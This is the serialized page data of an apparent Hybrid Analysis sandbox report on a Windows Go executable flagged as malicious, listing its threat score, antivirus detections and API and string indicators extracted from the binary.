24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 4a:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4bf,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_90% Sample 0ea72062143e… — Score 87/100 — Hybrid Analysis","description":"Malicious verdict for sample 0ea72062143e…. Malware family: Win/malicious_confidence_90%. Threat score 87/100. 3/27 AV engines flagged this file. 3 malicious and 14 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724","keywords":["Malicious","Win/malicious_confidence_90%","malware analysis","sandbox report","threat intelligence","0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724"],"about":{"@type":"SoftwareApplication","name":"file.exe","applicationCategory":["peexe","64bits","executable"],"identifier":"0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724","additionalType":"Malicious sample"},"threatScore":87,"malwareFamily":"Win/malicious_confidence_90%","antivirusDetections":{"malicious":3,"total":27},"behavioralIndicators":{"malicious":3,"suspicious":14},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T4f6,Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to API "SetWaitableTimer" (Indicator: "SetWaitableTimer"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") file/memory contains long string with (Indicator: "WaitForSingleObject"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") file/memory contains long string with (Indicator: "GetSystemTimeAsFileTime"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") file/memory contains long string with (Indicator: "SetWaitableTimer"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to API "syscall.WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to API "syscall.procWaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin")26:T40b,Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") file/memory contains long string with (Indicator: "FreeLibrary"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") file/memory contains long string with (Indicator: "LoadLibrary"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to API "syscall.LoadLibrary" (Indicator: "LoadLibrary"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to API "syscall._LoadLibrary" (Indicator: "LoadLibrary"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to API "syscall.procLoadLibraryW" (Indicator: "LoadLibrary"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin")27:T5f4,Found reference to "forHKDF" (Indicator: "HKDF"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to "*hmac.HMAC" (Indicator: "HMAC"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") file/memory contains long string with (Indicator: "HMAC"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Sum" (Indicator: "HMAC"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Write" (Indicator: "HMAC"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).BlockSize" (Indicator: "HMAC"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to "crypto/internal/fips140/hmac.(*HMAC).Reset" (Indicator: "HMAC"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to "runtime.useAeshash" (Indicator: "Aes"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to "crypto/internal/fips140deps/cpu.ARM64HasSHA512" (Indicator: "SHA512"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found reference to "crypto/internal/fips140deps/cpu.S390XHasSHA512" (Indicator: "SHA512"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin")28:Taa0,"m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffer152587890625762939453125gotypesaliashttpmuxgo121multipathtcprandautoseedtlsunsafeekmOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollableunknown sizeSHA-256 = %slevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamenot availablewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= sysc" (Indicator: "CertOpenStore"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "alltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625RegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasize#failfipscastGetTempPath2WModule32NextWRtlGetVersionHMAC-SHA2-256GetProcAddressCRC-32 = %08xfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #internal errorasynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CertCloseStore"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "alltick=load64 failedxadd64 failedxchg64 failednil stackbase}sched={pc:, gp->status= pluginpath= : unknown pc called from runtime: pid=3814697265625RegDeleteKeyWRegEnumValueWcrypto/subtlegocacheverifyinstallgoroothtml/templatetlsmaxrsasize#failfipscastGetTempPath2WModule32NextWRtlGetVersionHMAC-SHA2-256GetProcAddressCRC-32 = %08xfile too largeis a directorylevel 2 haltedlevel 3 haltedtoo many linksno such deviceprotocol errortext file busytoo many usersCryptGenRandomCertCloseStoreCreateProcessWFindFirstFileWFormatMessageWGetConsoleModeProcess32NextWSetFilePointerNetUserGetInfoGetUserNameExWTranslateNameWgetprotobyname procedure in winapi error #internal errorasynctimerchanuserArenaStateGC (dedicated)read mem statsupdatemaxprocsgcstoptheworldprofstackdepthtraceallocfreeGC assist waitfinalizer waitsync.Cond.Waits.allocCount= Value of type nil elem type! to finalizer scan: class L finalizers + GC worker initruntime: full=runtime: want=MB; allocated allspans arrayscavenge indexRtlGetVersion" (Indicator: "CryptGenRandom"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "pe298023223876953125x509negativeserialGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filebad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectreflect.Value.Floatreflect.Value.IsNilafter array elementEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia Time Zone 11Nepal Standard TimeKorea Standard TimeChina Standard TimeRussia Time Zone 10Tokyo Standard TimeTomsk Standard TimeSamoa Standard TimeTonga Standard TimestrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs, g" (Indicator: "CryptReleaseContext"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125embedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling Jordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timefloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span" (Indicator: "CertOpenSystemStoreW"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125embedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling Jordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timefloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated span" (Indicator: "CryptAcquireContextW"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "sscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=unexpected method step4656612873077392578125%SystemRoot%\system32\exit hook invoked exitsimulated CAST failureRtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultsha3: Write after Readdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWbytes.Buffer: too largeunexpected map key typeE. Africa Standard TimeTocantins Standard TimeArgentina Standard TimeVenezuela Standard TimeGreenland Standard TimeSri Lanka Standard TimeWest Bank Standard TimeQyzylorda Standard TimeSingapore Standard TimeWest Asia Standard TimeGreenwich Standard TimeLord Howe Standard TimeAstrakhan Standard TimeW. Europe Stand" (Indicator: "CertGetCertificateChain"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "el 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWjson: unsupported type: SA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth Asia Standard TimeCape Verde Standard Timetracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq ove" (Indicator: "CertFreeCertificateChain"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "lock: lock countbad system huge page sizearena already initialized to unused region of span bytes failed with errno=runtime: VirtualAlloc of /sched/gomaxprocs:threadsmissing type in finalizerremaining pointer buffersslice bounds out of range_cgo_thread_start missingallgadd: bad status Gidleruntime: program exceeds startm: p has runnable gsstoplockedm: not runnablereleasep: invalid p statecheckdead: no p for timercheckdead: no m for timerunknown sigtramp callbackunexpected fault address missing stack in newstackbad status in shrinkstackmissing traceGCSweepStart2910383045673370361328125GODEBUG: can not enable "unexpected key value typeExpandEnvironmentStringsWhash of unhashable type: GetSidIdentifierAuthorityinconsistent poll.fdMutextesting simulated failureinvalid request descriptorno CSI structure availablerequired key not availableno message of desired typename not unique on networkCertFreeCertificateContextGetFileInformationByHandlePostQueuedCompletionStatusSetFileInformationByHandleencountered a cycle via" (Indicator: "CertFreeCertificateContext"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin"), Found api reference "%sSouth Africa Standard TimeSaint Pierre Standard TimeNewfoundland Standard TimeCentral Asia Standard TimeEkaterinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Timeall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory using unaddressable valueunknown ABI parameter kind1455191522836685180664062572759576141834259033203125RtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreaft" (Indicator: "CertEnumCertificatesInStore"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin"), Found api reference "file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContext!#$%&()*+-./:;<=>?@[]^_{|}~ unexpected end of JSON inputCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral Europe Standard TimeEnglish name for time zone "GC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignalruntime: casgstatus: oldval=gcstopm: negative nmspinningfindrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: al" (Indicator: "CertCreateCertificateContext"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "5crypto/aes: len(dst) < len(src)resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyin literal false (expecting 'a')in literal false (expecting 'l')in literal false (expecting 's')in literal false (expecting 'e')slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertAddCertificateContextToStore"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "5crypto/aes: len(dst) < len(src)resource temporarily unavailablesoftware caused connection abortnumerical argument out of domainCertAddCertificateContextToStoreCertVerifyCertificateChainPolicyin literal false (expecting 'a')in literal false (expecting 'l')in literal false (expecting 's')in literal false (expecting 'e')slice bounds out of range [::%x]slice bounds out of range [:%x:]slice bounds out of range [%x::] (types from different packages)end outside usable address spaceruntime: failed to release pagesruntime: fixalloc size too largeinvalid limiter event type foundscanstack: goroutine not stoppedscavenger state is already wiredsweep increased allocation countremovespecial on invalid pointerruntime: root level max pages = NtAssociateWaitCompletionPacket" (Indicator: "CertVerifyCertificateChainPolicy"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "bad g0 stackself-preempt [recovered]bad recoverybad g statusentersyscallwirep: p->m=) p->status=releasep: m= sysmonwait= preemptoff=cas64 failed m->gsignal=-byte limitruntime: sp=abi mismatchwrong timerstrace buffer152587890625762939453125gotypesaliashttpmuxgo121multipathtcprandautoseedtlsunsafeekmOpenServiceWRevertToSelfCreateEventWGetConsoleCPUnlockFileExVirtualQueryNtCreateFilenot pollableunknown sizeSHA-256 = %slevel 3 resetsrmount errortimer expiredexchange fullRegEnumKeyExWRegOpenKeyExWCertOpenStoreFindNextFileWMapViewOfFileVirtualUnlockWriteConsoleWFreeAddrInfoWgethostbynamegetservbynamenot availablewakeableSleepprofMemActiveprofMemFuturetraceStackTabexecRInternaltestRInternalGC sweep waitsynctest.Waitout of memory is nil, not value method heap metadata span.base()=bad flushGen created at: , not pointer != sweepgen MB globals, work.nproc= work.nwait= nStackRoots= flushedWork double unlock s.spanclass= MB) workers=min too large-byte block (runtime: val=runtime: seq=fatal error: idlethreads= sys" (Indicator: "CertOpenStore"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "pe298023223876953125x509negativeserialGetSidSubAuthorityQueryServiceStatusGetComputerNameExWGetModuleFileNameWuse of closed filebad file descriptordisk quota exceededtoo many open filesdevice not a streamdirectory not emptyCryptReleaseContextGetTokenInformationCreateSymbolicLinkWGetCurrentProcessIdWaitForSingleObjectreflect.Value.Floatreflect.Value.IsNilafter array elementEgypt Standard TimeSudan Standard TimeLibya Standard TimeBahia Standard TimeHaiti Standard TimeYukon Standard TimeAltai Standard TimeIndia Standard TimeSyria Standard TimeRussia Time Zone 11Nepal Standard TimeKorea Standard TimeChina Standard TimeRussia Time Zone 10Tokyo Standard TimeTomsk Standard TimeSamoa Standard TimeTonga Standard TimestrongFromWeakQueueGC mark terminationsync.WaitGroup.Waitchan send (durable)wait for debug callpanicwrap: no ( in panicwrap: no ) in called using nil *unknown wait reasonnotesleep not on g0GC work not flushed/gc/scan/heap:bytes/gc/heap/goal:bytes/gc/heap/live:bytesmarkroot: bad indexnwait > work.nprocs," (Indicator: "CryptReleaseContext"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125embedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling Jordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timefloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spa" (Indicator: "CertOpenSystemStoreW"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "mstartm not found in allmstopm holding lockssemaRoot rotateLeftbad notifyList sizeruntime: preempt g0runtime: pcdata is bad ABI descriptionfile already existsfile does not existfile already closedreflect.Value.Bytesreflect.Value.Fieldreflect.Value.Index14901161193847656257450580596923828125embedfollowsymlinksgotestjsonbuildtextmultipartmaxheadersSetTokenInformationGetOverlappedResultMultiByteToWideCharWSADuplicateSocketWinvalid request codebad font file formatis a named type filekey has been revokedconnection timed outCreateProcessAsUserWCryptAcquireContextWCertOpenSystemStoreWGetCurrentDirectoryWGetFileAttributesExWSetCurrentDirectoryWSetHandleInformationGetAcceptExSockaddrsjson: error calling Jordan Standard TimeArabic Standard TimeIsrael Standard TimeTaipei Standard TimeAzores Standard TimeTurkey Standard Timefloating point errorGC sweep terminationResetDebugLog (test)chan send (nil chan)flushing proc cachesclose of nil channelinconsistent lockedmnotetsleep not on g0bad system page size to unallocated spa" (Indicator: "CryptAcquireContextW"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "sscall2 missingbad g->status in readywirep: invalid p stateassembly checks failedstack not a power of 2minpc or maxpc invalidcompileCallback: type syscall: n > len(args)non-Go function at pc=unexpected method step4656612873077392578125%SystemRoot%\system32\exit hook invoked exitsimulated CAST failureRtlLookupFunctionEntryNtQueryInformationFileCreateEnvironmentBlockWSAGetOverlappedResultsha3: Write after Readdevice or resource busyinterrupted system callno space left on deviceoperation not supportedoperation not permittedCertGetCertificateChainFreeEnvironmentStringsWGetEnvironmentVariableWGetSystemTimeAsFileTimeSetEnvironmentVariableWbytes.Buffer: too largeunexpected map key typeE. Africa Standard TimeTocantins Standard TimeArgentina Standard TimeVenezuela Standard TimeGreenland Standard TimeSri Lanka Standard TimeWest Bank Standard TimeQyzylorda Standard TimeSingapore Standard TimeWest Asia Standard TimeGreenwich Standard TimeLord Howe Standard TimeAstrakhan Standard TimeW. Europe Stan" (Indicator: "CertGetCertificateChain"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "el 2 not synchronizedlink number out of rangeout of streams resourcesfunction not implementedstructure needs cleaningnot supported by windowsCertFreeCertificateChainCreateToolhelp32SnapshotGetUserProfileDirectoryWjson: unsupported type: SA Pacific Standard TimeSA Eastern Standard TimeUS Eastern Standard TimeSA Western Standard TimeMontevideo Standard TimeMagallanes Standard TimePacific SA Standard TimeAzerbaijan Standard TimeBangladesh Standard TimeNorth Asia Standard TimeCape Verde Standard Timetracecheckstackownershiphash of unhashable type span has no free objectsruntime: found obj at *(runtime: VirtualFree of /cgo/go-to-c-calls:calls/gc/heap/objects:objects/sched/latencies:secondsqueuefinalizer during GCcheckfinalizers: queue: update during transitionruntime: markroot index can't scan our own stackgcDrainN phase incorrectpageAlloc: out of memoryruntime: p.searchAddr = range partially overlaps [recovered, repanicked]stack trace unavailablebindm in unexpected GOOSruntime: mp.lockedInt = runqsteal: runq ov" (Indicator: "CertFreeCertificateChain"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "%sSouth Africa Standard TimeSaint Pierre Standard TimeNewfoundland Standard TimeCentral Asia Standard TimeEkaterinburg Standard TimeE. Australia Standard TimeW. Australia Standard TimeBougainville Standard TimeLine Islands Standard TimeWest Pacific Standard Timeall goroutines stack traceGC background sweeper waitcall from unknown functionnotewakeup - double wakeuppersistentalloc: size == 0/gc/cycles/total:gc-cyclesbad type kind in finalizernegative idle mark workersuse of invalid sweepLockerruntime: bad span s.state=forEachP: P did not run fnwakep: negative nmspinningstartlockedm: locked to meinittask with no functionscorrupted semaphore ticketout of memory (stackalloc)shrinking stack in libcallruntime: pcHeader: magic= traceRegion: out of memory using unaddressable valueunknown ABI parameter kind1455191522836685180664062572759576141834259033203125RtlNtStatusToDosErrorNoTebchannel number out of rangecommunication error on sendkey was rejected by servicenot a XENIX named type fileCertEnumCertificatesInStoreaf" (Indicator: "CertEnumCertificatesInStore"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin") Found api reference "file descriptor in bad statedestination address requiredprotocol driver not attachedCertCreateCertificateContext!#$%&()*+-./:;<=>?@[]^_{|}~ unexpected end of JSON inputCanada Central Standard TimeCen. Australia Standard TimeAus Central W. Standard TimeCentral Europe Standard TimeEnglish name for time zone "GC mark assist wait for workcomparing uncomparable type region exceeds uintptr range/gc/heap/frees-by-size:bytes/gc/heap/tiny/allocs:objects/sched/goroutines:goroutinesgcBgMarkWorker: mode not setmspan.sweep: m is not lockedfound pointer to free objectmheap.freeSpanLocked - span runtime.semasleep unexpectedfatal: morestack on gsignalruntime: casgstatus: oldval=gcstopm: negative nmspinningfindrunnable: netpoll with psave on system g not allowednewproc1: newg missing stacknewproc1: new g is not GdeadFixedStack is not power-of-2missing stack in shrinkstack args stack map entries for invalid runtime symbol tableruntime: no module data for mismatched isSending updates[originating from goroutine traceRegion: a" (Indicator: "CertCreateCertificateContext"; File: "0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin")2b:T17e5,Observed string: "crypto/internal/impl" (Indicator: "crypto/internal/impl") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/fips140/aes" (Indicator: "crypto/internal/fips140/aes") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/fips140/drbg" (Indicator: "crypto/internal/fips140/drbg") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/fips140/sha3" (Indicator: "crypto/internal/fips140/sha3") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/fips140/hmac" (Indicator: "crypto/internal/fips140/hmac") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/fips140/sha256" (Indicator: "crypto/internal/fips140/sha256") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "crypto/internal/fips140/sha512" (Indicator: "crypto/internal/fips140/sha512") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "loc too large18189894035458564758300781259094947017729282379150390625GetFileInformationByHandleExabi.NewName: name too long: crypto/aes: counter overflowfips140: verified code+data," (Indicator: "loc too large18189894035458564758300781259094947017729282379150390625GetFileInformationByHandleExabi.NewName: name too long: crypto/aes: counter overflowfips140: verified code+data,") in Source: 0ea72062143e9dd49fecfccfa6dd2594d3f6f831e5ff9b0b5aa91631afdd8724.bin Observed string: "n is not zerocrypto/sha256: invalid hash state identifierreflect: funcLayout with interface receiver using value obtained using unexported fieldencoding alphabet contains newline characterencoding alphabet includes duplicate symbolsmult128bitPow10: 